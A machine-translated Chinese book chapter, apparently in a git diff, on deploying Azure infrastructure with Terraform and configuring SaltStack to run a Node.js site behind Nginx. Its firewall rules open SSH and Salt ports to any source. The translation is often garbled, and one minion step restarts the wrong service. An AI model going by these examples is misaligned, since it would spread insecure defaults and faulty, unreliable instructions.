和设置订阅的步骤。 - -安装 Azure 命令行界面和您的默认帐户设置后,我们可以配置 Terraform 使用适当的凭据,以便它能够部署基础架构。 - -首先,我们将创建一个目录来存储地形文件: - -```sh -dsala@NixMachine: ~ $ mkdir terrafiles -``` - -接下来,我们将通过 Azure 命令行界面创建一个服务主体标识,该标识将用于通过我们的订阅对 Terraform 进行身份验证。 - -将该命令输出的订阅标识保存到`$SUB_ID`变量中: - -```sh -dsala@NixMachine: ~ $ az account show --query "{subscriptionId:id}" - -dsala@NixMachine: ~ $ SUB_ID= -``` - -现在,运行以下命令来创建服务主体: - -```sh -dsala@NixMachine: ~ $ az ad sp create-for-rbac \ ---role="Contributor" \ ---scopes="/subscriptions/${SUB_ID}" -``` - -记下从上一个命令返回的`appId`、`password`和`tenant`的返回值。 - -现在,在`terrafiles`目录内,创建一个名为`terraform.tfvars`的文件。 - -This file is special because Terraform will automatically load by default any file with this name if any is present in the directory when we execute Terraform. - -该文件应包含以下信息: - -```sh -subscription_id = "azure-subscription-id" -tenant_id = "tenant-from-service-principal" -client_id = "appId-from-service-principal" -client_secret = "password-from-service-principal" -``` - -当您准备好文件后,创建另一个名为`az_creds.tf`的文件,如下所示: - -```sh -variable subscription_id {} -variable tenant_id {} -variable client_id {} -variable client_secret {} - -provider "azurerm" { - subscription_id = "${var.subscription_id}" - tenant_id = "${var.tenant_id}" - client_id = "${var.client_id}" - client_secret = "${var.client_secret}" -} -``` - -This file will be our variables file, and it will load the credential variables into the Azure Resource Manager Terraform provider. - -# 创建 IaC - -现在我们准备开始创建我们的 IaC 声明文件。Terraform 使用自己的语言 **Hashicorp 配置语言** ( **HCL** )。您可以通过以下链接了解更多信息:[https://www.terraform.io/docs/configuration/index.html](https://www.terraform.io/docs/configuration/index.html)。 - -让我们开始定义我们的资源。创建一个名为`main.tf` *的文件。*这将是我们的主要模块文件。模块是共享一个共同目标的一组资源,或者都是同一个应用的一部分。 - -The name `main.tf`is the recommended name by Hashicorp, the company owner of the Terraform Open Source project, for a minimal module. -You can find out more about modules in the Terraform documentation here: [https://www.terraform.io/docs/modules/index.html](https://www.terraform.io/docs/modules/index.html). - -我们的文件应该包含我们接下来将要声明的所有以下资源。 - -下面是包含我们的 Azure 资源的资源组: - -```sh -resource "azurerm_resource_group" "salt" { -name = "Salt" -location = "East US" -} -``` - -这是我们子网的虚拟网络: - -```sh -resource "azurerm_virtual_network" "salt" { -name = "saltnet" -address_space = ["10.0.0.0/16"] -location = "${azurerm_resource_group.salt.location}" -resource_group_name = "${azurerm_resource_group.salt.name}" -} -``` - -请注意,我们正在从以前的资源中获取值,方法是使用以下语法调用它们: - -```sh -"resource_type.local_name.value". -``` - -以下是为我们的虚拟机提供地址空间的子网: - -```sh -resource "azurerm_subnet" "salt" { -name = "saltsubnet" -resource_group_name = "${azurerm_resource_group.salt.name}" -virtual_network_name = "${azurerm_virtual_network.salt.name}" -address_prefix = "10.0.0.0/24" -} -``` - -在这里,我们只创建了一个子网,该子网将包含我们的主子网和从子网,但是您可以始终创建单独的子网,只要它们在 VNET 地址空间内,以便主子网和从子网进行网络分离。 - -创建虚拟网络和子网后,我们需要为虚拟机创建防火墙规则。Azure 中的防火墙被称为**网络安全组**,我们将继续使用网络安全组提供商来创建防火墙及其规则。 - -以下是负载平衡器的网络安全组: - -```sh -resource "azurerm_network_security_group" "saltlb" { - name = "lb-nsg" - location = "${azurerm_resource_group.salt.location}" - resource_group_name = "${azurerm_resource_group.salt.name}" -} -``` - -以下是访问负载平衡器虚拟机的网络安全组规则。 - -`https`端口: - -```sh -resource "azurerm_network_security_rule" "httpslb" { - name = "https" - priority = 100 - direction = "inbound" - access = "Allow" - protocol = "Tcp" - source_port_range = "*" - destination_port_range = "8443" - source_address_prefix = "*" - destination_address_prefix = "*" - resource_group_name = "${azurerm_resource_group.salt.name}" - network_security_group_name = "${azurerm_network_security_group.saltlb.name}" -} -``` - -`http`端口: - -```sh -resource "azurerm_network_security_rule" "httplb" { - name = "http" - priority = 101 - direction = "inbound" - access = "Allow" - protocol = "Tcp" - source_port_range = "*" - destination_port_range = "8080" - source_address_prefix = "*" - destination_address_prefix = "*" - resource_group_name = "${azurerm_resource_group.salt.name}" - network_security_group_name = "${azurerm_network_security_group.saltlb.name}" -} -``` - -SSH 端口`access`: - -```sh -resource "azurerm_network_security_rule" "sshlb" { - name = "sshlb" - priority = 103 direction = "inbound" - access = "Allow" - protocol = "Tcp" - source_port_range = "*" destination_port_range = "22" - source_address_prefix = "*" - destination_address_prefix = "*" - resource_group_name = "${azurerm_resource_group.salt.name}" - network_security_group_name = "${azurerm_network_security_group.saltlb.name}" -} -``` - -主虚拟机的第二个网络安全组如下: - -```sh -resource "azurerm_network_security_group" "saltMaster" { - name = "masternsg" - location = "${azurerm_resource_group.salt.location}" - resource_group_name = "${azurerm_resource_group.salt.name}" -} -``` - -以下是主虚拟机的网络安全组规则。 - -以下是盐`publisher`港口: - -```sh -resource "azurerm_network_security_rule" "publisher" { - name = "publisher" - priority = 100 - direction = "inbound" - access = "Allow" - protocol = "Tcp" - source_port_range = "*" - destination_port_range = "4505" - source_address_prefix = "*" - destination_address_prefix = "*" - resource_group_name = "${azurerm_resource_group.salt.name}" - network_security_group_name = "${azurerm_network_security_group.saltMaster.name}" -} -``` - -以下是 Salt 的请求服务器端口: - -```sh -resource "azurerm_network_security_rule" "requestsrv" { - name = "requestsrv" - priority = 101 - direction = "inbound" - access = "Allow" - protocol = "Tcp" - source_port_range = "*" - destination_port_range = "4506" - source_address_prefix = "*" - destination_address_prefix = "*" - resource_group_name = "${azurerm_resource_group.salt.name}" - network_security_group_name = "${azurerm_network_security_group.saltMaster.name}" -} -``` - -主设备的`ssh`端口如下: - -```sh -resource "azurerm_network_security_rule" "sshmaster" { - name = "ssh" - priority = 103 - direction = "inbound" - access = "Allow" - protocol = "Tcp" - source_port_range = "*" - destination_port_range = "22" - source_address_prefix = "*" - destination_address_prefix = "*" - resource_group_name = "${azurerm_resource_group.salt.name}" - network_security_group_name = "${azurerm_network_security_group.saltMaster.name}" -} -``` - -爪牙的网络安全组如下: - -```sh -resource "azurerm_network_security_group" "saltMinions" { - name = "saltminions" - location = "${azurerm_resource_group.salt.location}" - resource_group_name = "${azurerm_resource_group.salt.name}" -} -``` - -最后一个网络安全组是特殊的,因为我们不会为它创建任何规则。Azure 提供的默认规则只允许虚拟机与 Azure 资源进行对话,这正是我们希望这些虚拟机做到的。 - -我们的 Nginx 负载平衡器虚拟机的公共 IP 地址如下: - -```sh - -resource "azurerm_public_ip" "saltnginxpip" { - name = "lbpip" - location = "${azurerm_resource_group.salt.location}" - resource_group_name = "${azurerm_resource_group.salt.name}" - public_ip_address_allocation = "static" -} -``` - -负载平衡器的虚拟网络接口如下: - -```sh -resource "azurerm_network_interface" "saltlb" { - name = "lbnic" - location = "${azurerm_resource_group.salt.location}" - resource_group_name = "${azurerm_resource_group.salt.name}" - network_security_group_id = "${azurerm_network_security_group.saltlb.id}" - - ip_configuration { - name = "lbip" - subnet_id = "${azurerm_subnet.salt.id}" - private_ip_address_allocation = "dynamic" - public_ip_address_id = "${azurerm_public_ip.saltnginxpip.id}" - } -} -``` - -我们的网络服务器虚拟机的虚拟网络接口如下: - -```sh -resource "azurerm_network_interface" "saltminions" { - count = 2 - name = "webnic${count.index}" - location = "${azurerm_resource_group.salt.location}" - resource_group_name = "${azurerm_resource_group.salt.name}" - network_security_group_id = "${azurerm_network_security_group.saltMinions.id}" - - ip_configuration { - name = "web${count.index}" - subnet_id = "${azurerm_subnet.salt.id}" - private_ip_address_allocation = "dynamic" - } -} -``` - -以下是我们的主虚拟机的公共 IP 地址: - -```sh -resource "azurerm_public_ip" "saltmasterpip" { - name = "masterpip" - location = "${azurerm_resource_group.salt.location}" - resource_group_name = "${azurerm_resource_group.salt.name}" - allocation_method = "Dynamic" -} -``` - -这个公共 IP 地址将用于我们 SSH 到主虚拟机;这就是我们动态分配它的原因。 - -主虚拟机的虚拟网络接口如下: - -```sh -resource "azurerm_network_interface" "saltmaster" { - name = "masternic" - location = "${azurerm_resource_group.salt.location}" - resource_group_name = "${azurerm_resource_group.salt.name}" - network_security_group_id = "${azurerm_network_security_group.saltMaster.id}" - - ip_configuration { - name = "masterip" - subnet_id = "${azurerm_subnet.salt.id}" - private_ip_address_allocation = "static" - private_ip_address = "10.0.0.10" - public_ip_address_id = "${azurerm_public_ip.saltmasterpip.id}" - } -} -``` - -以下是网络服务器虚拟机: - -```sh -resource "azurerm_virtual_machine" "saltminions" { -count = 2 -name = "web-0${count.index}" -location = "${azurerm_resource_group.salt.location}" -resource_group_name = "${azurerm_resource_group.salt.name}" -network_interface_ids = ["${element(azurerm_network_interface.saltminions.*.id, count.index)}"] -vm_size = "Standard_B1s" -storage_image_reference { - publisher = "Canonical" - offer = "UbuntuServer" - sku = "16.04-LTS" - version = "latest" -} -storage_os_disk { - name = "webosdisk${count.index}" - caching = "ReadWrite" - create_option = "FromImage" - managed_disk_type = "Standard_LRS" -} -os_profile { - computer_name = "web-0${count.index}" - admin_username = "dsala" -} -os_profile_linux_config { - disable_password_authentication = true - ssh_keys = { - path = "/home/dsala/.ssh/authorized_keys" - key_data = "${file("~/.ssh/id_rsa.pub")}" - } - } -} -``` - -用自己的信息替换`os_profile.admin_username`和`os_profile_linux_config.key_data`。 - -主虚拟机如下所示: - -```sh -resource "azurerm_virtual_machine" "saltmaster" { -name = "salt" -location = "${azurerm_resource_group.salt.location}" -resource_group_name = "${azurerm_resource_group.salt.name}" -network_interface_ids = ["${azurerm_network_interface.saltmaster.id}"] -vm_size = "Standard_B1ms" - -storage_image_reference { - publisher = "OpenLogic" - offer = "CentOS" - sku = "7.5" - version = "latest" -} - -storage_os_disk { - name = "saltos" - caching = "ReadWrite" - create_option = "FromImage" - managed_disk_type = "Standard_LRS" -} - -os_profile { - computer_name = "salt" - admin_username = "dsala" -} - -os_profile_linux_config { - disable_password_authentication = true - ssh_keys = { - path = "/home/dsala/.ssh/authorized_keys" - key_data = "${file("~/.ssh/id_rsa.pub")}" - } - } -} -``` - -以下是 Nginx 负载平衡器虚拟机: - -```sh -resource "azurerm_virtual_machine" "saltlb" { -name = "lb-vm" -location = "${azurerm_resource_group.salt.location}" -resource_group_name = "${azurerm_resource_group.salt.name}" -network_interface_ids = ["${azurerm_network_interface.saltlb.id}"] -vm_size = "Standard_B1ms" - -storage_image_reference { - publisher = "OpenLogic" - offer = "CentOS" - sku = "7.5" - version = "latest" -} - -storage_os_disk { - name = "lbos" - caching = "ReadWrite" - create_option = "FromImage" - managed_disk_type = "Standard_LRS" -} - -os_profile { - computer_name = "lb-vm" - admin_username = "dsala" -} - -os_profile_linux_config { - disable_password_authentication = true - ssh_keys = { - path = "/home/dsala/.ssh/authorized_keys" - key_data = "${file("~/.ssh/id_rsa.pub")}" - } - } -} -``` - -一旦保存了包含所有先前创建的资源的文件,运行`terraform init`命令;这将使用地形文件初始化当前目录,并下载 Azure 资源管理器插件: - -![](img/93e5f877-3ccb-4d9a-8341-7c5856fe74e1.png) - -If you want to learn more about the `init` command, you can go to [https://www.terraform.io/docs/commands/init.html](https://www.terraform.io/docs/commands/init.html). - -运行`init`命令后,我们将继续运行`terraform plan`命令,该命令将计算实现我们在`tf`文件中定义的期望状态所需的所有更改。 - -在我们运行`terraform` `apply`命令之前,这不会对现有基础设施进行任何更改: - -![](img/a8664294-dfb1-4dac-b50f-0e8b9ba6c0c4.png) - -For more information about the `plan` command, visit [https://www.terraform.io/docs/commands/plan.html](https://www.terraform.io/docs/commands/plan.html). - -完成`plan`命令后,您可以立即运行`terraform apply`,系统将提示您确认应用更改: - -![](img/dc8b2af1-fd20-4c75-88fe-34fda9b02123.png) - -完成后,您应该能够看到以下消息: - -```sh -Apply complete! Resources: 18 added, 0 changed, 0 destroyed. - Installing, Configuring and Managing Salt -``` - -安装 Salt 有两种方法:您可以使用引导脚本安装主服务器和从属服务器,也可以通过 Salt 存储库手动安装和配置它们。 - -为了熟悉安装过程,我们将介绍这两种方法。 - -# 使用包管理器安装 Salt - -在我们目前的基础设施中,我们有一个主人和三个跟班。我们的主系统和一个小系统运行的是 CentOS 7.5,其余的虚拟机运行的是 Ubuntu 16.04。这个过程在两个发行版上都有所不同,但是在两个发行版上有些步骤是相同的。 - -# 安装 CentOS yum - -以前,盐只能通过 EPEL 仓库获得。但是现在 SaltStack 有了自己的存储库,我们可以从那里导入并执行安装。 - -首先,将 SSH 安装到主虚拟机中,并运行以下命令来导入 SaltStack 存储库: - -```sh -[dsala@salt ~]$ sudo yum install \ -https://repo.saltstack.com/yum/redhat/salt-repo-latest.el7.noarch.rpm -``` - -Optionally, you can run `yum clean expire-cache`, but as this is a new VM, this is not necessary. - -一旦完成,我们将继续安装`salt-master`包: - -```sh -[dsala@salt ~]$ sudo yum install salt-master -y -``` - -继续启用`systemd`盐主服务单元: - -```sh -[dsala@salt ~]$ sudo systemctl enable salt-master --now -``` - -检查服务是否正在运行: - -![](img/e769658e-a6f2-4b19-bccb-a448ec47b6f6.png) - -服务启动并运行后,通过运行以下命令,检查虚拟机的私有 IP 是否是我们在地形定义中配置的 IP: - -```sh -[dsala@salt ~]$ ifconfig eth0 | grep inet | head -1 | awk '{print $2}' -``` - -一旦你确认了 IP 地址,打开另一个终端,把 SSH 接入负载均衡器的 minion。像在主虚拟机中一样,重复添加存储库的过程。 - -添加存储库后,运行以下命令安装`salt-minion`包: - -```sh -[dsala@lb-vm ~]$ sudo yum install salt-minion -y -``` - -运行以下命令,启用并启动`systemd`服务单元: - -```sh -[dsala@lb-vm ~]$ sudo systemctl enable salt-minion --now -``` - -在实施任何更改之前,让我们检查服务是否成功启动: - -![](img/825d4968-b0ff-44e2-9a6a-1f48c0e6d3e8.png) - -我们可以看到,我们在服务上得到错误,说主服务器已经更改了公钥,我们并不是不能连接到 Salt 主服务器。我们现在需要配置小主人与主人交谈。但是首先,让我们安装剩下的两个 Ubuntu 奴才,因为注册奴才的过程在两个发行版上都是一样的。 - -# 乌班图容易得到盐 - -唯一复杂的是,由于我们的网络服务器没有分配公共的 IP 地址,您必须从主虚拟机或负载均衡器虚拟机 SSH 到它们。为此,您可以从这两个虚拟机中的任何一个为奴才设置 SSH 密钥身份验证。如果你正在读这本书,你会熟悉如何执行这样的任务。 - -当您登录到 web 服务器虚拟机时,请在这两个虚拟机中执行以下任务。 - -导入盐库的`gpg`键: - -![](img/1e052271-d854-4803-bf72-0f1141732e2f.png) - -运行以下命令创建存储库: - -```sh -dsala@web-00:~$ echo "deb http://repo.saltstack.com/apt/ubuntu/16.04/amd64/latest xenial main" \ -| sudo tee /etc/apt/sources.list.d/saltstack.list -``` - -添加存储库后,运行`apt update`,您应该可以看到存储库列表: - -![](img/4b4b29ec-0fb9-492b-a738-586bd3599e16.png) - -继续安装`salt-minion`包: - -```sh -dsala@web-00:~$ sudo apt install salt-minion -y -``` - -通过运行以下程序启用并检查`salt-minion`服务的状态: - -```sh -dsala@web-00:~$ sudo systemctl enable salt-minion --now && systemctl status salt-minion -``` - -您应该会看到与我们在 CentOS LB 虚拟机中看到的相同的消息。 - -# 通过引导脚本安装 Salt - -安装 Salt 的第二种方式是通过一个**引导脚本**。该脚本会自动检测我们的分发并下载定义的包。脚本还为我们提供了`-A`标志,将主人的地址添加到我们的爪牙中。 - -要获取脚本,可以使用`wget`或`curl`;官方盐栈使用`curl`: - -```sh -user@master:~$ curl -L https://bootstrap.saltstack.com -o install_salt.sh -``` - -这个剧本适用于主子和奴才;不同之处在于运行脚本时使用的标志。 - -要安装主组件,请运行带有主组件`-M`标志和`-P`标志的脚本,以允许安装任何 Python `pip`包。我们也可以用`-A`指定主地址,用`-N`标志告诉脚本不要在主中安装宠臣服务: - -```sh -user@master:~$ sudo sh install_salt.sh -P -M -``` - -要安装 minion,只需运行以下命令: - -```sh -user@master:~$ sudo sh install_salt.sh -P -A -``` - -# 主人和仆人握手 - -在安装的这个阶段,我们将允许我们的爪牙与主人交谈,验证他们的指纹,并设置配置文件。 - -首先,我们将 SSH 到主虚拟机中,并编辑主虚拟机的配置文件,以告诉 salt-master 守护进程我们希望它绑定到哪个 IP。 - -编辑`/etc/salt/master`文件,查找`interface:`行,添加主人的 IP 地址: - -![](img/b4c6833d-9ee3-48ef-8875-5dac0eb854b1.png) - -修改文件后,运行`daemon-reload`和`restart`命令,以便服务确认更改: - -```sh -[dsala@salt ~]$ sudo systemctl daemon-reload && sudo systemctl restart salt-master -``` - -您可以通过运行`ss`命令来验证 Salt 主机是否正在侦听正确的 IP 地址: - -![](img/9204ea5f-fd29-400e-9658-997a74380305.png) - -现在我们的主人正在监听我们需要的 IP 地址,是时候配置我们的爪牙了。 - -让我们从修改小主人的配置文件开始。请记住,这些步骤将在所有的奴才身上执行,无论他们的分布如何。 - -查找`/etc/salt/minion`文件,通过在`master:`下添加注明的主机 IP 地址进行编辑。我们会发现一个已经配置好的值:`master: salt`*;*这是因为默认情况下,Salt 通过对主机名`salt`的 DNS 查询来查找主机,但是由于我们将来打算拥有多个主机,因此我们将使用主机虚拟机的静态 IP 地址来设置该文件: - -![](img/119ef727-6f47-4379-ab79-30e57a5d9790.png) - -在我们的喽啰可以交换密钥之前,我们需要将主人的指纹添加到我们喽啰的配置文件中。 - -SSH 回到主服务器,并运行以下命令来获取主服务器的公共指纹: - -![](img/2ad8c09e-e899-4e05-b0a0-1b694a2372d9.png) - -复制`master.pub`的值,返回编辑宠臣的配置文件。在奴隶主的配置文件中,使用在上一步中获得的主公钥编辑`master_finger: ' '`行: - -![](img/457bff79-3eda-4ead-afe0-3d8ea04b6c68.png) - -完成最后一项任务后,重新加载并重新启动迷你守护程序: - -```sh -[dsala@web-00 ~]$ sudo systemctl daemon-reload && sudo systemctl restart salt-master -``` - -在退出每个小伙伴之前,运行以下命令并记下小伙伴的指纹: - -```sh -[dsala@web-00 ~]$ sudo salt-call --local key.finger -``` - -一旦你记下了所有爪牙的指纹,就可以登录主人了。 - -在主人中,我们将比较主人看到的指纹和我们在每个宠臣身上看到的本地指纹。通过这种方式,我们将确定我们将要接受的奴才确实是我们的奴才。 - -为此,在主程序中运行以下命令:`salt-key -F`。这将打印所有按键,因此您不必单独打印每个按键: - -![](img/6cbc1bd3-57c7-419a-b01d-ade25cef3e1b.png) - -确保钥匙是相同的,然后我们将继续接受钥匙。 - -在`salt-key -F`命令下,我们看到验证后有未接受的密钥要接受;我们将运行`salt-key -A`来接受所有待定的密钥,您可以运行`salt-key -L`来验证密钥是否被接受: - -![](img/9e63d0bb-c9b8-4324-abda-1dcf5aeab75f.png) - -现在我们的爪牙已经通过了认证,我们可以从主人那里发出命令了。 - -为了测试我们的爪牙,我们将从测试模块调用`ping`功能: - -![](img/62c648ed-d9c6-4e8c-b3f5-7580aec2204d.png) - -所有爪牙都应该响应`True`,这意味着 Salt 的仆从守护进程正在响应,我们准备开始管理我们的基础设施。 - -# 与盐合作 - -随着我们的 SaltStack 的启动和运行,我们准备开始为我们的虚拟机创建公式和定制配置。 - -# 创建 WeB 服务器公式 - -我们现在将创建必要的状态文件来创建安装和配置我们的网络服务器的公式。 - -在开始之前,我们需要首先创建状态树,它将包含我们所有的状态文件: - -```sh -[dsala@salt ~]$ sudo mkdir /srv/salt -``` - -在这个目录中,我们将创建一个名为`top.sls`的文件。这个文件告诉绍特哪些状态适用于哪些爪牙。对于 Salt 中的每个定义,`top.sls`是一个基于 YAML 的文件,它将包含要瞄准的奴才以及应该应用于这些奴才的状态文件。 - -在`/srv/salt`目录下创建一个名为`top.sls`的文件,内容如下: - -```sh -base: - 'web*': - - webserver.nodejs -``` - -`base:`表示我们正在工作的环境;由于这是一个简单的环境,我们只需要基础环境;对于在多种环境下工作,您可以参考我们将在*进一步阅读*一节中建议的书籍之一。 - -接下来,我们有`web*` 词条;这个条目告诉 Salt 哪些迷你 id 将成为应用的状态。如您所见,您可以使用 globbing 来定位迷你身份证。 - -最后,`- webserver.nodejs`是我们指示应用哪些状态的地方;`webserver` 表示`nodejs.sls`文件所在的文件夹。当 Python 解释器读取 YAML 时,我们需要用句点(.)定义路径。)而不是斜线(`/`)。最后一个词是要加载的`.sls`文件的名称。 - -因为我们将`Node.js`文件定义在名为`webserver`的目录中,这是我们将存储所有 web 服务器状态文件的目录,所以我们需要创建这样一个目录: - -```sh -[dsala@salt ~]$ sudo mkdir /srv/salt/webserver -``` - -现在我们有了存储状态定义的目录,让我们创建第一个安装`node.js`包和`npm`的状态定义。在`/srv/salt/webserver/`目录下创建一个名为`nodejs.sls`的文件,内容如下: - -```sh -nodejs: - pkg.installed - -npm: - pkg.installed -``` - -`nodejs`字段是要安装的包,后面是要调用的`pkg.installed`函数。 - -创建`state`文件后,将`state`文件应用到网络服务器从属端: - -```sh -[dsala@salt ~]$ sudo salt 'web*' state.apply -``` - -过一会儿,您将收到带有应用的更改和持续时间的输出: - -![](img/c190431a-8901-4572-a771-31a159e753ce.png) - -The output of the following example has been truncated for readability. - -带节点。安装了 JS,我们现在需要为节点创建用户。要运行的 JS 网站。 - -我们将创建另一个状态文件来定义用户配置。 - -在`/srv/salt/webserver/`目录下创建另一个名为`webuser.sls`的文件,声明如下: - -```sh -webuser: - user.present: - - name: webuser - - uid: 4000 - - home: /home/webuser -``` - -在执行状态之前,修改`top.sls`文件,以反映新添加的状态文件: - -```sh -base: - 'web*': - - webserver.nodejs - - webserver.webuser -``` - -再次执行`salt '*' state.apply`命令,应该会收到用户创建的输出: - -![](img/a4c327a2-dc6f-482c-b61c-fe50304b37be.png) - -现在我们有了运行网站的用户,是时候将网站文件复制到我们的网站服务器中了。为此,我们将创建另一个状态文件,它将使用 Git 下载网站文件并将其加载到虚拟机中。 - -修改您的`top.sls`文件,并在同一个 web 服务器目录下添加另一个名为`gitfetch`的状态,如下所示: - -```sh -base: - 'web*': - - webserver.nodejs - - webserver.webuser - - webserver.gitfetch -``` - -现在,使用`git.latest`函数创建`gitfetch.sls` 文件,从 Git 存储库中下载代码,并在每次下载存储库时安装`Node.js`依赖项: - -```sh -node-app: - git.latest: - - name: https://github.com/dsalamancaMS/SaltChap.git - - target: /home/webuser/app - - user: webuser - -dep-install: - cmd.wait: - - cwd: /home/webuser/app - - runas: webuser - - name: npm install - - watch: - - git: node-app -``` - -继续运行`state.apply` 功能,在两台网络服务器上下载应用。运行以下命令后,您应该能够看到类似如下的输出: - -![](img/57ccb71f-cd5a-4e5f-a3e6-9ed585b01935.png) - -有了网络服务器中的代码,我们几乎完成了 Ubuntu 喽啰的配置。 - -我们现在需要我们的节点。作为守护进程运行的 JS 应用。 - -For this, we will be using the Supervisor Open Source Project: [https://github.com/Supervisor/supervisor](https://github.com/Supervisor/supervisor). - -现在,让我们配置绍特,让`Supervisor`观看我们的节点。JS 网络应用。用下面一行编辑`top.sls`文件,就像我们之前做的那样: - -```sh -- webserver.suppkg -``` - -在创建`supervisor`状态文件之前,我们首先需要创建`supervisor`的配置文件,我们将把它推给我们的爪牙。在 web 服务器目录中创建一个名为`supervisor.conf`的文件,内容如下: - -```sh -[program:node-app] -command=nodejs . -directory=/home/webuser/app -user=webuser -``` - -现在在 web 服务器文件夹下创建`suppkg.sls`状态文件,它将负责管理之前的配置文件: - -```sh -supervisor: - pkg.installed: - - only_upgrade: False - service.running: - - watch: - - file: /etc/supervisor/conf.d/node-app.conf - -/etc/supervisor/conf.d/node-app.conf: - file.managed: - - source: salt://webserver/supervisor.conf -``` - -文件创建后,运行`salt 'web*' state.apply`命令应用最新状态。 - -应用最后一个状态后,我们的 web 应用应该可以启动并运行了。您可以尝试通过`curl`命令访问它: - -![](img/16008511-4326-40d9-93f0-2217fe0f0660.png) - -现在我们的网络服务器已经准备好了,我们将把它们标记为这样。记得上一章我们谈到谷物的时候。这就是我们接下来要做的。 - -让我们继续用适当的角色标签来标记我们的`web-00`和`web-01`服务器。 - -为此,请为每台服务器运行以下命令: - -![](img/972a54da-2dcc-4f31-8cb0-058bfe8cf641.png) - -您可以通过运行以下`grep`来检查角色是否成功应用: - -![](img/1e6f0ed5-af0b-404a-9595-534b7ea5b304.png) - -# 创建负载平衡公式 - -现在我们的两个网络服务器都设置正确了,我们可以配置最后一个小伙伴了。这个小工具将运行 Nginx,以便在负载平衡器后面平衡和代理对我们的网络服务器的请求。 - -让我们创建一个目录,在其中存储负载平衡器的所有状态: - -```sh -[dsala@salt ~]$ sudo mkdir /srv/salt/nginxlb -``` - -创建目录后,让我们继续最后一次编辑我们的`top.sls`文件,以包含`load balancer`状态文件。`top.sls`文件应该是这样的: - -![](img/2bd3ae04-7f0a-4f1e-952e-e79ae6e34324.png) - -在我们创建`load balancer`状态文件之前,我们将创建 Nginx 配置文件,并将其推送到我们的`load balancer`虚拟机。创建一个名为`nginx.conf`的文件,内容如下: - -```sh -events { } -http { - upstream webapp { - server web-00:8080; - server web-01:8080; - } - server { - listen 8080; - location / { - proxy_pass http://webapp; - } - } -} -``` - -现在,让我们继续创建我们的最终状态文件。在`/srv/salt/`的`nginxlb`目录下创建一个名为`lb.sls`的文件,内容如下: - -```sh -epel-release: - pkg.installed - -nginx: - pkg.installed: - - only_upgrade: False - service.running: - - watch: - - file: /etc/nginx/nginx.conf - -/etc/nginx/nginx.conf: - file.managed: - - source: salt://nginxlb/nginx.conf -``` - -要应用最终更改,您可以运行`state.apply`命令。 - -完成后,您可以继续测试运行 cURL 到其公共 IP 地址的负载平衡器: - -![](img/0c17a1c2-32f2-43dd-8521-734d0f1fecc4.png) - -有了这个最终的配置,我们已经为唐·高先生完成了概念验证。需要注意的一个非常重要的事实是,这个例子远远没有准备好投入生产;这只是一个例子,向您展示了 Salt Stack 的基本功能和可能实现的功能。 - -# 摘要 - -在这一章中,我们通过 IaC 部署基础设施,最终获得了与 Salt 的实际交互。我们使用 Terraform 来设置我们的初始环境,并开始使用 Terraform,我们只是从`terraform.io`下载了二进制文件。地形的版本可以通过`terraform version`命令进行检查。安装 Terraform 后,我们获得了正确的详细信息,可以使用 AZ CLI 连接到我们的 Azure 订阅。 - -一旦 Terraform 能够连接到 Azure,我们就开始创建 IaC 声明文件,其中包含必要的信息,以便按照我们想要的方式在 Azure 中正确部署我们想要的资源。 - -随着部署的启动和 Terraform 的运行,我们开始安装 Salt。这可以通过两种不同的方式完成,通过操作系统的包管理器(`yum`和`apt`)或者通过引导脚本。 - -当通过包管理器安装时,我们需要添加 Salt 存储库,因为它在 base repos 中不可用;我们通过从`saltstack`网站下载`rpm`来做到这一点。 - -装大师,我们跑`sudo yum install salt-master`,装爪牙,我们跑`sudo yum install salt-minion -y`。对于 Ubuntu,除了使用`apt`包管理器之外,过程是相似的。 - -Salt 完成安装后,我们启用了`systemctl`单元。一旦盐跑了,我们就需要允许爪牙和主人说话;这是通过 SSH 指纹完成的。 - -此时,Salt 正在运行,喽啰正在与主服务器通信,因此我们开始创建 web 服务器公式,该公式运行部署应用所需的定义。 - -在本书的下一章,也就是最后一章,我们将介绍设计解决方案时的一些最佳实践。 \ No newline at end of file diff --git a/docs/handson-linux-arch/15.md b/docs/handson-linux-arch/15.md deleted file mode 100644 index 906af2e2..00000000 --- a/docs/handson-linux-arch/15.md +++ /dev/null @@ -1,309 +0,0 @@ -# 十五、设计最佳实践 - -为了总结这本书,我们的最后一章将讨论不同的最佳实践,你将不得不遵循这些实践来设计一个有弹性和防故障的解决方案。尽管这是本书的最后一章,但它将帮助您作为在迁移到云时需要考虑的事情的起点。 - -我们将涵盖以下主题的基础知识: - -* 迁移到云 -* 集装箱设计 -* 连续集成管道 -* 连续部署管道 -* 自动化测试 - -我们将在本章中涉及的主题和实践非常广泛,我们将给出一个 10,000 英尺的概述。有了这些基础知识,你就可以开始强化你在每个领域的知识,为你的客户做出最终的设计决策。 - -# 为这个场合设计 - -在前面的章节中,我们了解了非常具体的解决方案所需的一切。在这里,我们将谈论一般性,你需要遵循的基本规则或建议,或者至少尝试为你创建的每个设计坚持。但是不要被我接下来要说的话迷惑;最佳实践本身并不存在。每个解决方案都有自己的身份、目标和独特的特征。始终努力满足您所处的情况和客户的业务需求。 - -然而,许多解决方案必须遵守某些行业标准,因为它们可能会处理敏感信息。在这些类型的场景中,我们已经有了一套非常明确的规则和策略,我们的设计必须满足这些规则和策略。这打破了我们的说法,即所有设计都是不同的,但同样,这些是非常具体的行业非常具体的场景。在处理敏感数据时,我们需要遵守以下一些标准: - -* **健康保险便携性和责任法案** ( **HIPAA** ) -* **支付卡行业数据安全标准** ( **PCI-DSS** ) -* **通用数据保护条例** ( **GDPR** ) - -这些标准无论在本地还是国际都是固定的,并由各自的主管部门进行管理。但并不是所有符合特定解决方案需求的设计模式或方法都像这些一样清晰。 - -作为一名解决方案架构师,您会发现自己处于许多场景中,这些场景将帮助您扩展产品组合并将其应用于不同的解决方案中。你创造的每一个设计都是最薄弱的环节。当你在设计的时候,总是试着看看你如何打破你的设计: - -* 哪里有失败的地方? -* 它的瓶颈在哪里? -* 我的服务器能够处理负载吗? - -以下是一些你需要问自己的问题的例子。我们需要塑造自己的思维方式,问自己一个问题*为什么?*更多时候。为什么我们要这样做,或者那样做?对于我们所做的每一个决定,质疑自己是至关重要的。 - -改变我们的思维方式是我们能做的最好的事情,因为现在的技术比以往任何时候都发展得更快。随着时间的推移,技术可能会发生变化,我们今天实现的东西明天可能会完全无法使用,但我们的思维方式将允许我们从成功所需的各个方面进行调整和分析。 - -每种情况和环境都会有所不同,但在撰写本文时,我们可以说您将会面对两种主要类型的环境: - -* 内部/裸机环境 -* 云环境 - -在本章中,我们将介绍您在这些环境中工作时需要考虑的基本事项。 - -# 内部环境 - -Linux 适应性强;它几乎可以在任何地方运行。如果在接下来的几年里,我在割草机上发现了 Linux 